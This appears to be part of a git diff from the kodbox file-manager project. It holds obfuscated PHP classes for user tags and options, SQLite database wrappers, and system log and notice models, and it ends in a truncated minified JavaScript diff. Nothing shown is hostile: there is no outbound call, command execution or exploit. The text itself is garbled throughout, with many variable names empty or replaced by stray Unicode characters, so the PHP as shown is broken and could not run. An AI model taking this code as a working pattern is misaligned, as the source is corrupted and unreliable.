if (isset($[$[$[1705]]])) { $[$[2091]] = $[$[$[1705]]]; } } unset($); } public function userAppendGroup($ވ) { $Ü =& $_SERVER[砐]; if (!$ވ) { return array(); } $this->_listAppendGroup($ވ, array_to_keyvalue($ވ, $Ü[12], $Ü[1705])); return $ވ; } private function _listAppendMeta(&$ӓֹ, $) { $Ⱥ =& $_SERVER[砐]; $߇ = UserJobModel::JOB_KEY; $ = array($Ⱥ[2380]); $ú = array($Ⱥ[1705] => array($Ⱥ[7], $)); $ƝЀ = Model($Ⱥ[2378])->where($ú)->select(); $ƝЀ = array_to_keyvalue_group($ƝЀ, $Ⱥ[1705]); foreach ($ƝЀ as &$) { $ү = array(); foreach ($ as $) { if (!in_array($[$Ⱥ[96]], $)) { $ү[$[$Ⱥ[96]]] = $[$Ⱥ[420]]; } } $ = $ү; } unset($); $Ǚ = Model($Ⱥ[2402]); foreach ($ӓֹ as &$) { $ߠ = array(); if (isset($ƝЀ[$[$Ⱥ[1705]]])) { $ߠ = $ƝЀ[$[$Ⱥ[1705]]]; } $[$Ⱥ[2403]] = array(); if (isset($ߠ[$߇])) { $[$Ⱥ[2403]] = $Ǚ->getUserJobInfo($ߠ[$߇]); } } unset($); } protected function groupUserAll($Ǧ) { $֡ =& $_SERVER[砐]; if (!$Ǧ) { return !1; } $ = Model($֡[1994])->field($֡[1705])->where(array($֡[1904] => array($֡[7], $Ǧ)))->select(); $ = array_to_keyvalue($, $֡[12], $֡[1705]); return array_unique($); } public function userSearch($, $Ǣ = "\x2a") { return Model($_SERVER[砐][569])->where($)->field($Ǣ)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\x65\x72\x5f\x6f\x70\164\151\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($ݗ) { $̎ =& $_SERVER[砐]; $ = defined($̎[2126]) && USER_ID ? USER_ID : $̎[12]; return "\125\163\145\162\117\160\x74\151\157\x6e\137{$ݗ}\x5f" . $; } protected function filterWhere($܍) { $ =& $_SERVER[砐]; $܍[$[1705]] = defined($[2126]) && USER_ID ? USER_ID : $[12]; return $܍; } public function cacheRemoveUser($߭, $՚Áу) { return Cache::remove("\125\163\145\162\x4f\x70\x74\x69\157\x6e\137{$߭}\x5f" . $՚Áу); } protected function optionDefault($ = '') { $¶ =& $_SERVER[砐]; if ($ == $¶[12]) { return $GLOBALS[$¶[6]][$¶[2404]]; } if ($ == $¶[2405]) { return $GLOBALS[$¶[6]][$¶[2406]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\163\x65\162\56\164\141\x67\114\x69\x73\164"; public $modelType = "\x55\x73\x65\162\117\160\x74\x69\157\156"; public $field = array("\156\141\x6d\x65", "\x73\164\x79\x6c\x65", "\x73\x6f\162\x74"); public function listData($Ժ = false, $ = "\x73\157\x72\x74", $ = false) { return parent::listData($Ժ, $, $); } public function remove($ϟ) { return parent::remove($ϟ); } public function add($, $‰ = "\x6c\141\x62\x65\154\x2d\147\x72\145\x79\55\x6e\157\162\x6d\141\x6c") { $ڏĈ =& $_SERVER[砐]; if ($this->findByName($)) { return !1; } $ = array($ڏĈ[464] => $, $ڏĈ[529] => $‰, $ڏĈ[1908] => $this->getSort($ڏĈ[304]) + 1); return parent::insert($); } public function update($⦙, $) { $޹ =& $_SERVER[砐]; $۱ = $this->listData($⦙); $ӏ = $this->findByName($[$޹[32]]); if (!$۱ || $ӏ && $ӏ[$޹[445]] != $۱[$޹[445]]) { return !1; } return parent::update($⦙, $); } public function moveTop($Ɏ) { $ɖ =& $_SERVER[砐]; $豪 = parent::listData(); $Ʋ = $this->getSort($ɖ[303]); foreach ($豪 as &$ї) { if ($ї[$ɖ[445]] == $Ɏ) { $ї[$ɖ[1928]] = $Ʋ; continue; } $ї[$ɖ[1928]] += 1; } unset($ї); return parent::resetData($豪); } public function moveBottom($ȕ) { $ =& $_SERVER[砐]; $ԑ = $this->getSort($[304]) + 1; return parent::update($ȕ, array($[1928] => $ԑ)); } public function resetSort($ҿ) { $Ҝ =& $_SERVER[砐]; $ν = array(); $ҿ = is_array($ҿ) ? $ҿ : array(); for ($ = 0; $ < count($ҿ); $++) { $ν[$ҿ[$] . $Ҝ[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$) { $ו = $ν[$[$Ҝ[445]]]; $[$Ҝ[1928]] = $ו ? $ו : $[$Ҝ[1928]]; } unset($); return parent::resetData($); } private function getSort($Ʀ) { $舏 =& $_SERVER[砐]; $ä = parent::listData(); $ = array_to_keyvalue($ä, $舏[12], $舏[1928]); if (!$) { $ = array(0); } $ȇ = $Ʀ == $舏[304] ? max($) : min($); return intval($ȇ); } } goto Fݟ; dӃ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $Ě =& $_SERVER[砐]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$Ě[6]] =& $config; $this->values[$Ě[7]] =& $in; $this->tpl = TEMPLATE . MOD . $Ě[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ֆ) { if (1 === func_num_args()) { $this->{$ֆ} = new $ֆ(); } else { $󶰷 = new ReflectionClass($ֆ); $ĩ = func_get_args(); array_shift($ĩ); $this->{$ֆ} = $󶰷->newInstanceArgs($ĩ); } return $this->{$ֆ}; } public function routeBind($ΰ, $튦, $ = 3) { $ =& $_SERVER[砐]; $ = $this->in[$[9]]; $ΰ = str_replace($[10], $[11], trim(trim($ΰ, $[8]), $[12])); if (!$ΰ || count($) <= $) { return !1; } $ = !0; $Ҹ = explode($[8], $ΰ); for ($˨ = 0; $˨ < count($Ҹ); $˨++) { if ($Ҹ[$˨] != $[$ + $˨]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $튦), array()); } public function routeArgs($޽ = 3) { $Չ = $this->in[$_SERVER[砐][9]]; if (count($Չ) <= $޽) { return array(); } $ = array(); for ($ = $޽; $ < count($Չ); $ += 2) { $[$Չ[$]] = $Չ[$ + 1]; $this->in[$Չ[$]] = $Չ[$ + 1]; } return $; } protected function assign($ϯ, $Ɂط) { $this->values[$ϯ] = $Ɂط; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ŀ =& $_SERVER[砐]; if (!extension_loaded($ŀ[13])) { think_exception(think_lang($ŀ[14]) . $ŀ[15]); } if (!empty($)) { if (!isset($[$ŀ[16]])) { $[$ŀ[16]] = 438; } $this->config = $; if (empty($this->config[$ŀ[17]])) { $this->config[$ŀ[17]] = array(); } } } public function connect($ = '', $ = 0) { $ͤ =& $_SERVER[砐]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $􌑶 = !empty($[$ͤ[17]][$ͤ[18]]) ? $[$ͤ[17]][$ͤ[18]] : $this->pconnect; $® = $􌑶 ? $ͤ[19] : $ͤ[20]; $this->linkID[$] = $®($[$ͤ[21]], $[$ͤ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($ͤ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ڒ =& $_SERVER[砐]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ڒ[23], 1); think_status($ڒ[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ƒ = $this->getAll(); return $ƒ; } } public function execute($򦸳) { $ =& $_SERVER[砐]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $򦸳; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $Ȓ = sqlite_exec($this->_linkID, $򦸳); $this->debug(); if (!1 === $Ȓ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[砐][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ښ = sqlite_query($this->_linkID, $_SERVER[砐][27]); if (!$ښ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ۇ = sqlite_query($this->_linkID, $_SERVER[砐][28]); if (!$ۇ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ŷ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $ŷ[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $ŷ; } public function getFields($謈) { $񲏲 =& $_SERVER[砐]; $ӽ = $this->query($񲏲[29] . $謈 . $񲏲[30]); $Ӵ = array(); if ($ӽ) { foreach ($ӽ as $ => $ӭ훟) { $Ӵ[$ӭ훟[$񲏲[31]]] = array($񲏲[32] => $ӭ훟[$񲏲[31]], $񲏲[33] => $ӭ훟[$񲏲[34]], $񲏲[35] => (bool) ($ӭ훟[$񲏲[36]] === $񲏲[12]), $񲏲[37] => $ӭ훟[$񲏲[38]], $񲏲[39] => strtolower($ӭ훟[$񲏲[40]]) == $񲏲[41], $񲏲[42] => strtolower($ӭ훟[$񲏲[43]]) == $񲏲[44]); } } return $Ӵ; } public function getTables($ = '') { $򰾧 =& $_SERVER[砐]; $͗ځ = $this->query($򰾧[45] . $򰾧[46] . $򰾧[47]); $ = array(); foreach ($͗ځ as $ => $Ԃ) { $[$] = current($Ԃ); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[砐]; $њĽ = sqlite_last_error($this->_linkID); $this->error = $њĽ . $[4] . sqlite_error_string($њĽ); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($Ц) { return sqlite_escape_string($Ц); } public function parseLimit($) { $ =& $_SERVER[砐]; $̟ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $̟ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $̟ .= $[51] . $[0] . $[53]; } } return $̟; } } class DbSqlite3Base extends Db { public function __construct($䬝ȣ = '') { $֤ =& $_SERVER[砐]; if (!class_exists($֤[54])) { think_exception(think_lang($֤[14]) . $֤[55]); } if (!empty($䬝ȣ)) { if (!isset($䬝ȣ[$֤[16]])) { $䬝ȣ[$֤[16]] = 438; } $this->config = $䬝ȣ; if (empty($this->config[$֤[17]])) { $this->config[$֤[17]] = array(); } } } public function connect($䤷 = '', $ = 0) { $ْ =& $_SERVER[砐]; if (!isset($this->linkID[$])) { if (empty($䤷)) { $䤷 = $this->config; } $this->linkID[$] = new SQLite3($䤷[$ْ[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($ْ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $웥 =& $_SERVER[砐]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($웥[23], 1); think_status($웥[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($) { $ר =& $_SERVER[砐]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ר[25], 1); think_status($ר[24]); $߯ = $this->_linkID->exec($); $this->debug(); if (!1 === $߯) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[砐][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[砐][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[砐][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Œ = array(); while ($ؽ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $Œ[] = $ؽ; } $this->queryID->reset(); return $Œ; } public function getFields($) { $ =& $_SERVER[砐]; $ = $this->query($[29] . $ . $[30]); $ = array(); if ($) { foreach ($ as $ݭ => $) { $[$[$[32]]] = array($[32] => $[$[32]], $[33] => $[$[33]], $[35] => (bool) ($[$[35]] === $[12]), $[37] => $[$[56]], $[39] => (bool) $[$[57]], $[42] => (bool) $[$[57]]); } } return $; } public function getTables($ = '') { $؃ =& $_SERVER[砐]; $Ĕ = $this->query($؃[45] . $؃[46] . $؃[47]); $ = array(); foreach ($Ĕ as $ => $ҡ) { $[$] = current($ҡ); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[砐]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($͜) { $笅 =& $_SERVER[砐]; if ($this->_linkID) { return $this->_linkID->escapeString($͜); } return str_ireplace($笅[58], $笅[59], $͜); } public function parseLimit($ז) { $י =& $_SERVER[砐]; $ןɁ = $י[12]; if (!empty($ז)) { $ז = explode($י[50], $ז); if (count($ז) > 1) { $ןɁ .= $י[51] . $ז[1] . $י[52] . $ז[0] . $י[53]; } else { $ןɁ .= $י[51] . $ז[0] . $י[53]; } } return $ןɁ; } } goto F˗喑; d҆: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\155\56\x4c\x69\x67\x68\x74\101\x70\160"; public $modelType = "\123\171\x73\164\x65\155\117\x70\164\x69\x6f\x6e"; public $field = array("\156\x61\x6d\145", "\x67\x72\157\165\160", "\x64\x65\x73\x63", "\143\x6f\156\164\145\x6e\164"); public function listData($򬰅 = false, $ = "\155\x6f\x64\151\146\171\124\151\155\x65", $ = true) { return parent::listData($򬰅, $, $); } public function remove($®) { $ҧƧ = $this->findByName($®); if (!$ҧƧ) { return !1; } return parent::remove($ҧƧ[$_SERVER[砐][445]]); } public function add($Ĭ) { if ($this->findByName($Ĭ[$_SERVER[砐][32]])) { return !1; } return parent::insert($Ĭ); } public function update($, $) { $ЗՃ =& $_SERVER[砐]; $ޔ = $this->findByName($); $۫ = $this->findByName($[$ЗՃ[32]]); if (!$ޔ || $۫ && $۫[$ЗՃ[445]] != $ޔ[$ЗՃ[445]]) { return !1; } return parent::update($ޔ[$ЗՃ[445]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\x79\163\164\x65\x6d\137\154\157\147"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\x54\151\155\145", "\164\x69\x6d\145", "\x69\x6e\163\145\162\164", "\146\165\156\x63\x74\151\157\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[砐]; return array($[2241] => LNG($[2242]), $[2243] => LNG($[2244]), $[1847] => LNG($[2245]), $[2246] => LNG($[2247]), $[2248] => LNG($[2249]), $[2250] => LNG($[2251]), $[2252] => LNG($[2253]), $[1877] => LNG($[2253]), $[1878] => LNG($[2254]), $[2255] => LNG($[2256]), $[2257] => LNG($[2258]), $[2259] => LNG($[2260]), $[2261] => LNG($[2262]), $[1875] => LNG($[2263]), $[2264] => LNG($[2265]), $[1882] => LNG($[2266]), $[2267] => LNG($[2268]), $[2269] => LNG($[2270]), $[2271] => LNG($[2272]), $[2273] => LNG($[2274]), $[1885] => LNG($[2275]), $[1886] => LNG($[2276]), $[2277] => LNG($[2278]), $[2279] => LNG($[2280]), $[2281] => LNG($[2282]), $[1880] => LNG($[2283]), $[2284] => LNG($[2285]), $[1879] => LNG($[2286]), $[2287] => LNG($[2288]), $[2289] => LNG($[2290]), $[2291] => LNG($[2290]), $[2292] => LNG($[2293]), $[2294] => LNG($[2294]), $[2295] => LNG($[1851]), $[2296] => LNG($[2297]), $[2298] => LNG($[2299]), $[2300] => LNG($[2301]), $[2302] => LNG($[2303]), $[2304] => LNG($[2305]), $[2306] => LNG($[2306]), $[2307] => LNG($[2308]), $[2309] => LNG($[2310]), $[2311] => LNG($[2312]), $[2313] => LNG($[2314]), $[2315] => LNG($[2316]), $[2317] => LNG($[2318])); } private function typeFile() { $ٛ =& $_SERVER[砐]; $ܯڨ = array($ٛ[1882] => array($ٛ[1883]), $ٛ[2259] => array($ٛ[2319]), $ٛ[2261] => array($ٛ[2320]), $ٛ[1875] => array($ٛ[1876], $ٛ[2321]), $ٛ[2269] => array(), $ٛ[2271] => array(), $ٛ[2273] => array(), $ٛ[1885] => array($ٛ[1887]), $ٛ[1886] => array($ٛ[1887]), $ٛ[2277] => array($ٛ[2322]), $ٛ[2279] => array($ٛ[2322]), $ٛ[2281] => array($ٛ[2323]), $ٛ[2267] => array($ٛ[2324]), $ٛ[1880] => array($ٛ[2325]), $ٛ[2284] => array($ٛ[2326]), $ٛ[1879] => array($ٛ[1881])); return $ܯڨ; } private function typeAll() { $Ǧ =& $_SERVER[砐]; $Ϝ = $this->typeList; $Я = array_filter($this->typeFile()); foreach ($Я as $͵ => $) { $Ϝ[$[0]] = $Ϝ[$͵]; } $Ϝ[$Ǧ[1887]] = LNG($Ǧ[2327]); $Ϝ[$Ǧ[2322]] = LNG($Ǧ[2328]); return $Ϝ; } public function addLog($, $ = array()) { $ =& $_SERVER[砐]; if (!isset($this->typeList[$])) { return; } $ = isset($[$[1705]]) ? $[$[1705]] : 0; if (!$) { $ = Session::get($[2041]); } if ($ == $[2296] && is_array($[$[2329]]) && !$[$[2329]]) { return; } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($[2330] => $); } else { if (is_array($)) { $[$[2330]] = $; } else { $ = array($[1253] => $, $[2330] => $); } } $ = array($[1695] => Session::sign(), $[1696] => intval($), $[33] => $, $[1698] => json_encode($)); parent::add($); } public function remove($) { $this->where(array($_SERVER[砐][463] => $))->delete(); } private function _makeOrder($ϵ = '') { $ز =& $_SERVER[砐]; $ś = $ز[217]; $ = array($ز[493] => $ز[494], $ز[495] => $ز[496]); $ = Input::get($ز[501], $ز[7], $ز[2077], array($ز[1995], $ز[495])); $ = $[$]; $ϵ = $ϵ . "{$ś}\x20{$}"; return $this->order($ϵ); } public function get($ȡ = '') { $Ś =& $_SERVER[砐]; if (!$ȡ) { show_json(array()); } $ = array(); if ($ȡ[$Ś[1705]]) { $[$Ś[1705]] = $ȡ[$Ś[1705]]; } if (isset($ȡ[$Ś[805]])) { $ = $ȡ[$Ś[805]]; $ş = isset($ȡ[$Ś[806]]) ? $ȡ[$Ś[806]] : time(); $[$Ś[217]] = array($Ś[379], array($, $ş)); } if ($ȡ[$Ś[33]]) { $ð = explode($Ś[50], $ȡ[$Ś[33]]); $ = $this->typeFile(); $ = array(); foreach ($ð as $) { $[] = $; if (isset($[$])) { $ = array_merge($, $[$]); } } $ = array_unique($); if ($) { $[$Ś[33]] = array($Ś[7], $); } } else { $[$Ś[33]] = array($Ś[2331], $Ś[2332]); } if (!empty($ȡ[$Ś[2330]])) { $[$Ś[496]] = array($Ś[429], "\45{$ȡ[$Ś[2330]]}\x25"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$Ś[415]])) { show_json(array(), !0, $[$Ś[412]]); } $[$Ś[415]] = $this->logList($[$Ś[415]]); return $; } private function ipAddress(&$) { $ϣ =& $_SERVER[砐]; if (!empty($[$ϣ[2330]])) { $Ԥ = IpLocation::get($[$ϣ[2330]]); } else { $Ԥ = LNG($ϣ[2333]); } $[$ϣ[2334]] = $Ԥ; } private function descZipDownload($, &$) { $҈ű =& $_SERVER[砐]; if (!isset($[$҈ű[2335]])) { return; } $ = json_decode($[$҈ű[2335]], !0); foreach ($ as $) { try { $丈 = IO::infoFullSimple($[$҈ű[86]]); } catch (Exception $ߺ) { continue; } $[$҈ű[86]] = $[$҈ű[86]]; $[] = $[$҈ű[183]] = $丈[$҈ű[183]]; $[] = $[$҈ű[2133]] = $丈[$҈ű[182]]; break; } return $; } private function getSourceList(&$ϕ) { $Ҍ㓓 =& $_SERVER[砐]; $ = array(); foreach ($ϕ as $ => $ڃ) { $ = json_decode($ڃ[$Ҍ㓓[496]], !0); if ($ڃ[$Ҍ㓓[33]] == $Ҍ㓓[1878]) { $ = $this->descZipDownload($, $); $ϕ[$][$Ҍ㓓[496]] = json_encode($); continue; } if (strpos($ڃ[$Ҍ㓓[33]], $Ҍ㓓[2135]) !== 0) { if (!isset($[$Ҍ㓓[86]]) || strpos($ڃ[$Ҍ㓓[33]], $Ҍ㓓[2336]) !== 0) { continue; } try { $ = IO::infoFullSimple($[$Ҍ㓓[86]]); } catch (Exception $ύ) { continue; } $[] = $[$Ҍ㓓[183]] = $[$Ҍ㓓[183]]; $[] = $[$Ҍ㓓[2133]] = $[$Ҍ㓓[182]]; $ϕ[$][$Ҍ㓓[496]] = json_encode($); continue; } $[] = $[$Ҍ㓓[183]]; $[] = $[$Ҍ㓓[2133]]; if ($[$Ҍ㓓[33]] == $Ҍ㓓[590]) { $[] = $[$Ҍ㓓[496]][$Ҍ㓓[1211]]; $[] = $[$Ҍ㓓[496]][$Ҍ㓓[1212]]; } if ($[$Ҍ㓓[33]] == $Ҍ㓓[2143]) { $[] = $[$Ҍ㓓[496]][$Ҍ㓓[183]]; } } if (!$) { return array(); } return Model($Ҍ㓓[870])->sourceListInfo($, !0); } private function logList($з) { $ =& $_SERVER[砐]; $ۢ = array_to_keyvalue($з, $[12], $[1705]); $ی = Model($[569])->userListInfo(array_unique($ۢ)); $֘ = $this->getSourceList($з); $ = $this->typeAll(); $ = array(); $׈ = array(); foreach ($з as $锟 => $Н) { $ = $Н[$[33]]; $˭ = isset($ی[$Н[$[1705]]]) ? $ی[$Н[$[1705]]] : !1; $ۃ = strpos($, $[2337]) === 0 ? LNG($[2338]) : LNG($[2333]); $Н[$[32]] = isset($˭[$[32]]) ? $˭[$[32]] : LNG($[2333]); $Н[$[2187]] = isset($˭[$[2187]]) ? $˭[$[2187]] : $[12]; $Н[$[1593]] = isset($[$]) ? $[$] : $ۃ; $Н[$[2076]] = $˭; $𧙫 = json_decode($Н[$[496]], !0); $Н[$[2330]] = isset($𧙫[$[2330]]) ? $𧙫[$[2330]] : $[12]; $Н[$[2334]] = IpLocation::get($Н[$[2330]]); if (strpos($, $[2135]) === 0 || isset($𧙫[$[2133]])) { $𧙫[$[89]] = $֘[$𧙫[$[183]]]; $𧙫[$[2148]] = $֘[$𧙫[$[2133]]]; if ($𧙫[$[33]] == $[590]) { $𧙫[$[496]][$[1211]] = $֘[$𧙫[$[496]][$[1211]]]; $𧙫[$[496]][$[1212]] = $֘[$𧙫[$[496]][$[1212]]]; } if ($𧙫[$[33]] == $[2143]) { $𧙫[$[496]][$[183]] = $֘[$𧙫[$[496]][$[183]]]; } if ($𧙫[$[33]] == $[1873]) { $𧙫[$[2148]] = $𧙫[$[89]]; $𧙫[$[2133]] = $𧙫[$[2148]][$[183]]; $𧙫[$[89]] = !1; $𧙫[$[183]] = $[12]; } if ($𧙫[$[89]] && $𧙫[$[89]][$[180]] == $[181]) { $׈[] = $Н[$[445]]; unset($з[$锟]); continue; } if ($𧙫[$[2148]] && $𧙫[$[2148]][$[180]] == $[181]) { $׈[] = $Н[$[445]]; unset($з[$锟]); continue; } } $Н[$[496]] = $𧙫; unset($Н[$[2339]]); $[] = $Н; } $this->clearSystemPathLog($׈); return $; } private function clearSystemPathLog($ت) { $، =& $_SERVER[砐]; if (count($ت) == 0) { return; } $ = array($،[445] => array($،[7], array_unique($ت))); $this->where($)->delete(); } public function deviceList($܇у, $㧝 = 0) { $ =& $_SERVER[砐]; $޾č = array($[1705] => $܇у, $[217] => array($[1065], $㧝), $[33] => $[1847]); $֫ = array(); $ = $this->field($[2340])->where($޾č)->order($[2146])->limit(50)->select(); foreach ($ as $ => $Ů) { if ($ > 0 && abs($Ů[$[217]] - $[$ - 1][$[217]]) < 5) { continue; } $ؚ = json_decode($Ů[$[496]], !0); $Ů[$[2330]] = isset($ؚ[$[2330]]) ? $ؚ[$[2330]] : $[12]; unset($ؚ[$[2330]]); $ = $this->deviceType($ؚ[$[2136]]); if (isset($֫[$])) { continue; } $Ů[$[2334]] = IpLocation::get($Ů[$[2330]]); $Ů[$[496]] = $ؚ; $֫[$] = $Ů; } return array_values($֫); } public function deviceType($ձ) { return $ձ; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\155\x2e\x6e\x6f\164\151\x63\x65\x4c\x69\x73\x74"; public $field = array("\156\x61\x6d\145", "\143\x6f\x6e\164\x65\x6e\x74", "\x61\165\164\150", "\x6d\x6f\x64\x65", "\164\x69\x6d\x65", "\164\x79\x70\x65", "\x6c\145\x76\x65\154", "\x65\x6e\141\142\x6c\145", "\x73\157\162\x74"); public function listData($ = false, $ݺ = "\163\x6f\162\164", $ = false) { return parent::listData($, $ݺ, $); } public function add($) { $à =& $_SERVER[砐]; $Ʃ = time(); if ($[$à[16]] == $à[2341]) { $Ʃ = strtotime($[$à[196]]); } $[$à[196]] = $Ʃ; return parent::insert($); } public function update($ק, $ϙ) { $۳ =& $_SERVER[砐]; $񭇭 = $this->listData($ק); if (!$񭇭) { return !1; } $ಕ = time(); if ($ϙ[$۳[16]] == $۳[2341]) { $ಕ = strtotime($ϙ[$۳[196]]); } $ϙ[$۳[196]] = $ಕ; return parent::update($ק, $ϙ); } public function remove($) { $ѥ = $this->listData($); if (!$ѥ || $ѥ[$_SERVER[砐][181]]) { return !1; } return parent::remove($); } public function sort($⑧, $띏) { return parent::update($⑧, $띏); } public function enable($, $ȴ) { return parent::update($, array($_SERVER[砐][2342] => $ȴ)); } private function initUserOption() { $ᜩ =& $_SERVER[砐]; $this->optionType = $ᜩ[2343]; $this->modelType = $ᜩ[2344]; $this->field = array($ᜩ[2345], $ᜩ[32], $ᜩ[196], $ᜩ[33], $ᜩ[2346], $ᜩ[795], $ᜩ[212]); } public function userNoticeGet($Ǯ = false) { $this->initUserOption(); return parent::listData($Ǯ, $_SERVER[砐][445], !0); } public function userNoticeAdd($) { $ =& $_SERVER[砐]; $this->initUserOption(); $ = $this->findByKey($[2345], $[$[445]]); if ($) { return !0; } $ = array($[2345] => $[$[445]], $[32] => $[$[32]], $[196] => $[$[196]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2346] => isset($[$[2346]]) ? $[$[2346]] : 0, $[795] => 0, $[212] => 0); return parent::insert($); } public function userNoticeEdit($, $ƍӏ) { $this->initUserOption(); return parent::update($, $ƍӏ); } } goto c銆; Fݟ: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\145\162\137\146\141\166"; protected function cacheFunctionAlias($ݨ) { $ۼ =& $_SERVER[砐]; return array($ۼ[2015] => array($ۼ[2407] . USER_ID, $ۼ[2016])); } protected function listData() { $ߔ׵ =& $_SERVER[砐]; $捉 = array($ߔ׵[1696] => USER_ID, $ߔ׵[528] => array($ߔ׵[2019], 0)); $ӛ䕣 = $ߔ׵[2408]; $Ź⌌ = $this->field($ӛ䕣)->where($捉)->order($ߔ׵[2022])->select(); return $Ź⌌ ? $Ź⌌ : array(); } protected function addToTag($, $) { $˕ =& $_SERVER[砐]; if (!Model($˕[2165])->listData($)) { return !1; } if (is_numeric($)) { $ݧ = Model($˕[870])->pathInfo($); if (!$ݧ) { return !1; } } else { $ݧ = IO::infoSimple($); if (!$ݧ) { return !1; } $ԏ = $ݧ[$˕[32]]; $ = $ݧ[$˕[33]]; if (isset($ݧ[$˕[455]])) { $ = $ݧ[$˕[455]] == $˕[90] ? $˕[77] : $˕[216]; } } $ = array($˕[1696] => USER_ID, $˕[528] => $, $˕[465] => $, $˕[466] => $ ? $ : $˕[460], $˕[464] => $ԏ ? $ԏ : $˕[12], $˕[1908] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $봈) { $ȝ =& $_SERVER[砐]; if (!Model($ȝ[2165])->listData($봈)) { return !1; } if (is_array($)) { $ = array($ȝ[7], $); } $օ = array($ȝ[1696] => USER_ID, $ȝ[528] => $봈, $ȝ[465] => $); return $this->where($օ)->delete(); } protected function removeByTag($邖) { $Ǜ =& $_SERVER[砐]; if (!$邖) { return !1; } $箭 = array($Ǜ[1696] => USER_ID, $Ǜ[528] => $邖); return $this->where($箭)->delete(); } protected function removeBySource($) { $Ì =& $_SERVER[砐]; if (is_array($)) { $ = array($Ì[7], $); } $ = array($Ì[1696] => USER_ID, $Ì[528] => array($Ì[1065], 0), $Ì[465] => $); return $this->where($)->delete(); } } \ No newline at end of file diff --git a/static/app/dist/api.js b/static/app/dist/api.js index 9392dcab..329d267d 100755 --- a/static/app/dist/api.js +++ b/static/app/dist/api.js @@ -1,2 +1,2 @@ -/*! Powered by kodbox;hash:08ab6cc0197b77b4479b [2024/01/09 16:09:38] */ -!function(r){function e(e){for(var t,i,n=e[0],o=e[1],a=0,s=[];a"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var 